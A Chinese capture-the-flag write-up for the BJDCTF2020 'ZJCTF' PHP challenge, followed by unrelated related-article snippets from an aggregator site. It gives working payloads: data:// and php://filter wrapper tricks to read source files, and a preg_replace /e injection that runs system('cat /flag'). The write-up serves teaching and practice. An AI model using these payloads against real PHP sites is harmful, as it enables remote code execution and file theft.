[BJDCTF2020]ZJCTF,不过如此

题目源码:

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

代码要求我们有两个get参数,首先,代码会检查是否设置了text参数,并且通过file_get_contents()函数读取指定文件的内容。如果读取到的文件内容等于"I have a dream",则会将这个内容显示在页面上。

接下来,代码检查是否设置了file参数,并且使用include()函数包含这个文件。然而,在包含文件之前,代码进行了一些安全性检查。它使用preg_match()函数判断$file中是否包含"flag"字符串,如果包含则输出错误信息并终止脚本执行。

如果以上条件都满足,那么就会包含指定的文件($file

根据提示的next.php,我们去访问它

第一点我们可以用data协议流绕过,

?text=data://text/plain,I have a dream

或者input,两者作用相同

?text=php://input

在post请求体写入I have a dream,然后发现直接给file传文件名读不出内容

需要伪协议读文件,payload:

?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode|convert.base64-encode/resource=next.php

 

解码得:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

 preg_replace中的/e修正符,指的是如果匹配到了,就会执行preg_replace的第二个参数,也就是代替的内容,这个题里面是strtolower("\\1")

可变变量  ¶ 

有时候使用可变变量名是很方便的。 就是说,一个变量的变量名可以动态的设置和使用。 一个普通的变量通过声明来设置,例如:

<?php
$a = 'hello';
?>

一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。 在上面的例子中 hello 使用了两个美元符号($)以后,就可以作为一个可变变量的变量了。 例如:

<?php
$$a = 'world';
?>

这时,两个变量都被定义了: $a 的内容是“hello”并且 $hello 的内容是“world”。 因此,以下语句:

<?php
echo "$a {$$a}";
?>

与以下语句输出完全相同的结果:

<?php
echo "$a $hello";
?>

它们都会输出: hello world 。

要将可变变量用于数组,必须解决一个模棱两可的问题。 这就是当写下 $$a[1] 时,解析器需要知道是想要 $a[1] 作为一个变量呢,还是想要 $$a 作为一个变量并取出该变量中索引为 [1] 的值。 解决此问题的语法是,对第一种情况用 ${$a[1]} ,对第二种情况用 ${$a}[1] 。

类的属性也可以通过可变属性名来访问。 可变属性名将在该调用所处的范围内被解析。 例如,对于 $foo->$bar 表达式,则会在本地范围来解析 $bar 并且其值将被用于 $foo 的属性名。 对于 $bar 是数组单元时也是一样。引用自:PHP: 可变变量 - Manual

payload:

next.php?\S*=${getFlag()}&cmd=system('cat+/flag');

next.php?\S*=${getflag()}&cmd=show_source('/flag');


深入研究preg_replace与代码执行 - 先知社区

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/312828.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

完全卸载grafana

先停掉grafana sudo systemctl stop grafana-server 查看要卸载的包的名字 yum list installed yum remove grafana-enterprise.x86_64 成功 删除grafana的数据目录 sudo rm -rf /etc/grafana/sudo rm -rf /usr/share/grafana/sudo rm -rf /var/lib/grafana/

【AT 指令开发】软件框架与接口

目录 1 软件逻辑2.代码2.1 at_command.h2.2 at_command.c本文主要用于记录纯MCU无OS下,AT 指令开发软件框架 1 软件逻辑 2.代码 2.1 at_command.h #ifndef AT_COMMAND_H #define AT_COMMAND_Hvoid AT_CMD_Process(uint8_t *uartBuffer, uint8_t dataLen);/*描述AT指令返回值…

STM32学习笔记二十二:WS2812制作像素游戏屏-飞行射击游戏(12)总结

至此&#xff0c;飞行射击游戏已经基本实现该有的功能&#xff0c;已经比较接近早期的商业游戏了。 如果采用脚本&#xff0c;可以完成关卡游戏&#xff0c;如果不用&#xff0c;也可以做成无限挑战游戏。 我们汇总一下制作的过程&#xff1a; 1、建模UML 2、主循环处理过程…

基于JavaWeb+BS架构+SpringBoot+Vue电影订票系统系统的设计和实现

基于JavaWebBS架构SpringBootVue电影订票系统系统的设计和实现 文末获取源码Lun文目录前言主要技术系统设计功能截图订阅经典源码专栏Java项目精品实战案例《500套》 源码获取 文末获取源码 Lun文目录 1 绪 论 3 1.1研究背景和意义 3 1.2拟解决的问题及特性 3 1.3论文的结构 …

数据库期末复习重点总结

数据库期末复习重点总结 本文为总结&#xff0c;如有不对的地方请指针 第2章 关系模型的介绍 名称符号选择σ投影∏笛卡儿积连接并∪集差-交∩赋值<-更名ρ 除操作 设R和S除运算的结果为T&#xff0c;则T包含所有在R中但不在S中的属性和值&#xff0c;且T的元组与S的元…

基于嵌入式的智能台灯系统

基于嵌入式的智能台灯系统 功能说明 通过微信小程序控制台灯的亮灭及亮度。采集温湿度传到微信小程序上&#xff0c;台灯可以显示实时北京时间。 功能展示 01智能台灯演示 Mqtt服务器 http://www.yoyolife.fun/iot&#xff1a;Mqtt服务器&#xff0c;我是在这里注册的&#x…

Java医院综合绩效考核系统源代码

医院绩效考核管理系统是采用B/S架构模式设计、使用JAVA语言开发、后台使用MySql数据库进行管理的一整套计算机应用软件。系统和his系统进行对接&#xff0c;按照设定周期&#xff0c;从his系统获取医院科室和医生、护士、其他人员工作量&#xff0c;对没有录入信息化系统的工作…

配网故障定位技术的发展与应用:保障电力供应安全稳定的重要支撑

在现代社会&#xff0c;电力供应安全稳定对于国家经济发展和民生福祉至关重要。然而&#xff0c;随着电网规模的不断扩大&#xff0c;配网故障问题也日益突出。为了确保电力供应的连续性和可靠性&#xff0c;人们不断探索和研发各种故障定位技术。本文将介绍一种基于行波测距技…

LLM大模型显存计算

一、目录 模型参数单位内存计算案例显卡算力推理显存计算训练显存计算huggface 官网计算 模型推理/训练 需要的显存大模型输入长度与显存的关系大模型推理 多线程与显存的关系 参考&#xff1a;https://blog.csdn.net/Johntill/article/details/132629075 二、实现 模型参数…

【详解】稀疏矩阵的十字链表✿◡‿◡

目录 引言&#xff1a; 稀疏矩阵的十字链表表示 第一步&#xff1a;创结点存数据 第二步&#xff1a;将头结点同数据结点串起来 第三步&#xff1a;创建一个总头结点构成循环链表 总代码如下&#xff1a; 运行结果如下&#xff1a; 结语&#xff1a; 引言&#xff1a; …

超简单的简历模板精选5篇

HR浏览一份简历也就25秒左右&#xff0c;如果你连「好简历」都没有&#xff0c;怎么能找到好工作呢&#xff1f; 如果你不懂得如何在简历上展示自己&#xff0c;或者觉得怎么改简历都不出彩&#xff0c;那请你一定仔细读完。 个人求职简历第 1 篇 男 22 本科 AI简历 市场营…

Open CV 图像处理基础:(五)Java 使用 Open CV 的绘图函数

Java 使用 Open CV 的绘图函数 使用 Open CV 在 Java 中对图片使用绘图函数&#xff0c;分别绘制矩形、斜线、圆形、椭圆形以及添加文本 Java 使用 Open CV 的绘图函数 Java 使用 Open CV 的绘图函数函数绘制矩形绘制线绘制圆形绘制椭圆添加文本 代码示例Open CV 专栏导航 函…

redis stream restTemplate消息监听队列框架搭建

整体思路 1. pom增加redis依赖&#xff1b; 2. 消息监听器&#xff0c;实现StreamListener接口&#xff0c;处理消息到达逻辑&#xff1b; 3. 将消息订阅bean及监听器注册到配置中&#xff1b; 1. pom <?xml version"1.0" encoding"UTF-8"?> <…

vue的mvvm模式

1.mvvm优点&#xff1a; 低耦合&#xff1a;视图&#xff08;View&#xff09;可以独立于Model变化和修改&#xff0c;一个ViewModel可以绑定到不同的View上&#xff0c;当View变化的时候Model可以不变&#xff0c;当Model变化的时候&#xff0c;View也可以不变。 可复用&…

PostgreSQL 配置文件、数据储存目录

文章目录 查询配置文件所在位置查询数据储存目录PostgreSQL的数据目录 查询配置文件所在位置 show config_file; -- 查询配置文件所在位置查询数据储存目录 show data_directory; -- 查询数据储存目录PostgreSQL的数据目录 在PostgreSQL的数据目录&#xff08;C:\Program…

android studio使用总结

gradle是项目构建的工具&#xff0c;在gradle-wrapper.properties这个文件中设置&#xff0c; 然后就会下载相应版本的安装包到这个路径C:\Users\ly.gradle\wrapper\dists&#xff0c;例如这里是7.0.2&#xff0c; gradle和studio中的jdk版本需要对应&#xff0c;否则无法构建项…

使用numpy处理图片——图片拼接

大纲 左右拼接上下拼接 在《使用numpy处理图片——图片切割》一文中&#xff0c;我们介绍了如何使用numpy将一张图片切割成4部分。本文我们将反其道而行之&#xff0c;将4张图片拼接成1张图片。 基本的思路就是先用两张图以左右结构拼接成上部&#xff0c;另外两张图也以左右拼…

实现用户注册功能

实现用户注册功能 注&#xff1a;打赏即可获得一对一线下辅导&#xff0c;机不可失&#xff0c;时不再来

软件系统培训方案(Word)

1. 培训概述 2. 培训目的 3. 培训对象及要求 3.1. 培训对象 3.2. 培训人员基本要求 4. 培训方式 5. 培训内容 6. 培训讲师 7. 培训教材 8. 培训质量保证 8.1. 用户培训确认报告 8.2. 培训疑问解答 软件开发全文档下载&#xff1a;软件项目开发全套文档下载_软件项目文档-CSDN博…

MySQL——SQL语句进阶

select * from 表 where 条件 group by 条件 order by 排序 limit 分组 Group by select * from 表 group by 条件 结果为每个分组的第一条记录&#xff0c;该条记录作为该组的标志 select * from subject GROUP BY gradeidselect count(1),gradeid from subject GROUP B…